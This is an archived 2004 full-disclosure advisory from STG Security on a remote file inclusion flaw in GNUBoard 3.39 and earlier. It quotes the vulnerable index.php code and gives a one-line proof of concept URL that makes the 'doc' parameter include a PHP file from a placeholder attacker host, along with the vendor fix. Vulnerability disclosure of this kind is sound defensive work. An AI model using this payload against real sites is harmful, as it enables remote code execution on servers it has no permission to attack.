full-disclosure - STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <GKEOJIPDJOHGOEEOIINIMEPDCAAA.advisory@stgsecurity.com>
From: advisory at stgsecurity.com (SSR Team)
Subject: STG Security Advisory: [SSA-20041214-14] GNUBoard
	PHP injection vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

STG Security Advisory: [SSA-20041214-14] GNUBoard PHP injection
vulnerability.

Revision 1.0
Date Published: 2004-12-14 (KST)
Last Update: 2004-12-14
Disclosed by SSR Team (advisory@...security.com)

Summary
========
GNUBoard is one of widely used web BBS applications in Korea. Because of an
input validation flaw, a malicious attack can run arbitrary commands with
the privilege of the HTTPD process, which is typically run as the nobody
user.

Vulnerability Class
===================
Implementation Error: Input validation flaw

Impact
======
High : arbitrary command execution.

Affected Products
================
GNUBoard 3.39 and prior versions
php.ini : register_globals = On

Vendor Status: FIXED
====================
2004-12-06 Vulnerability found.
2004-12-06 GNUBoard developer notified.
2004-12-06 GNUBoard 3.40 is released.
2004-12-14 Official release.

Details
=======
For improper verification of input value of the parameter, the "doc"
parameter in "index.php" can be exploited to include arbitrary files of
external or local resources to execute arbitary commands.

index.php
- - ----
if (!$doc) {  (1) <-- check point
    $doc = './main.php';
}

// php ??? ??? ??? ? ??
$tmp = explode(".", $doc);
$extension = $tmp[count($tmp)-1];
if (!preg_match("/^(php[3]?|[p]?htm[l]?)$/i", $extension) || count($tmp)<=1)
{
    echo "php php3 htm html phtml ??? ??? ? ????.";
    exit;
}
......
ob_start();
include $doc; (2) <-- include point
- - ----

Proof of concept :
http://[victim]/gnu3/index.php?doc=http://[attacker]/[attack].php

Solution
=========
Update to 3.40
http://sir.co.kr/?doc=bbs/gnuboard.php&bo_table=pds&page=1&wr_id=1871

Vendor URL
==========
http://www.sir.co.kr/

Credits
======
Jeremy Bae at STG Security

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.0

iQA/AwUBQcAR6j9dVHd/hpsuEQJapACg1dVMXa7JIQE106S6zHRa/CoXM1YAoKwz
Eay4eAl41ONg1Db1HI4ZRdqY
=7l/U
-----END PGP SIGNATURE-----